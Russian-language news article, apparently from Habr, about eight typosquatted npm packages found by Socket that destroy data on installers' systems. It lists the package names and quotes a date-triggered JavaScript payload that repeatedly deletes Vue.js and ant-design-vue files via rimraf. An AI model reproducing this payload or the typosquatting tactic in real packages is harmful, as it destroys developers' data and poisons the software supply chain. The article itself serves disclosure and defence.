Как стать автором
Обновить

В npm нашли пакеты, умышленно уничтожающие данные

Время на прочтение2 мин
Количество просмотров3.8K

Специалисты компании Socket обнаружили в npm восемь вредоносных пакетов, которые могли уничтожать данные на системах пользователей. Их загрузили из репозитория более 6200 раз за два года. 

В названиях пакетов использовался тайпсквоттинг, чтобы имитировать названия настоящих популярных инструментов экосистем React, Vue.js, Vite, Node.js и Quill:

  • js-bomb,

  • js-hood,

  • vite-plugin-bomb-extend,

  • vite-plugin-bomb,

  • vite-plugin-react-extend,

  • vite-plugin-vue-extend,

  • vue-plugin-bomb,

  • quill-image-downloader.

Вредоносная полезная нагрузка в пакете могла применяться для удаления файлов, умышленного повреждения данных и вывода зараженных систем из строя.

«Особую тревогу вызывает разнообразие векторов атак в этой кампании: от незаметного повреждения данных до агрессивного отключения системы и удаления файлов. Пакеты создавались для различных частей экосистемы JavaScript с использованием различных тактик», — отметили эксперты. 

Полезные нагрузки активировались в соответствии с жёстко заданными системными датами и были предназначены для постепенного уничтожения файлов фреймворка, повреждения основных методов JavaScript и нарушения механизмов хранения данных в браузере.

import process from"child_process";
import{fileURLToPath}from"node:url";
import{dirname}from"node:path";
.....
// Using rimraf for cross-platform file deletion
if (new Date("2023/06/19 08:00:01").getTime()<(new Date).getTime() &&
    (new Date).getTime()<new Date("2023/06/30 18:00:01").getTime()) {
  setInterval(()=>{
// Dynamic path resolution
    const arr=__dirname.split("\\");
    const key2=arr[arr.length-2];
    const index2=__dirname.indexOf(key2);
    const node_modules=__dirname.slice(0,index2+key2.length)+"\\";

// Target critical Vue.js components using rimraf for reliable deletion
    process.execSync(`rimraf ${node_modules}vue\\dist`);
    process.execSync(`rimraf ${node_modules}vue-router\\index.js`);
    process.execSync(`rimraf ${node_modules}ant-design-vue\\index.js`);
    process.execSync(`rimraf ${node_modules}ant-design-vue\\dist`);
  }, 1000)
}

Они позволяли удалять файлы, связанные с Vue.js, повреждать основные функции JavaScript случайными данными, нарушать работу всех механизмов хранения данных в браузере с помощью продвинутой трёхфайловой атаки, осуществлять многофазные системные атаки, удалявшие файлы фреймворка Vue.js и принудительно отключавшие систему.

Некоторые из этих полезных нагрузок должны были срабатывать только в определённые даты в 2023 году, но в других случаях атака должна была стартовать в июле того же года и не имела даты завершения.

Хотя все даты активации уже прошли, но эксперты предупредили, что угроза сохраняется. 

Всем, кто устанавливал любой из этих пакетов, рекомендуется выполнить сканирование системы и удалить их.

В 2022 году исследователи из Reversing Labs рассказали, что злоумышленники публикуют вредоносные npm-пакеты для кражи пользовательских данных с сайтов и приложений. При этом хакеры выбирают для атаки названия популярных пакетов, чтобы смутить пользователей и заставить скачать шпионское программное обеспечение вместо оригинального.

В том же году GitHub внедрил обязательное применение в репозитории NPM двухфакторной аутентификации к учётным записям разработчиков, сопровождающих пакеты с более чем 1 млн загрузок в неделю или используемых в качестве зависимости у более чем 500 пакетов. 

Теги:
Хабы:
+6
Комментарии9

Другие новости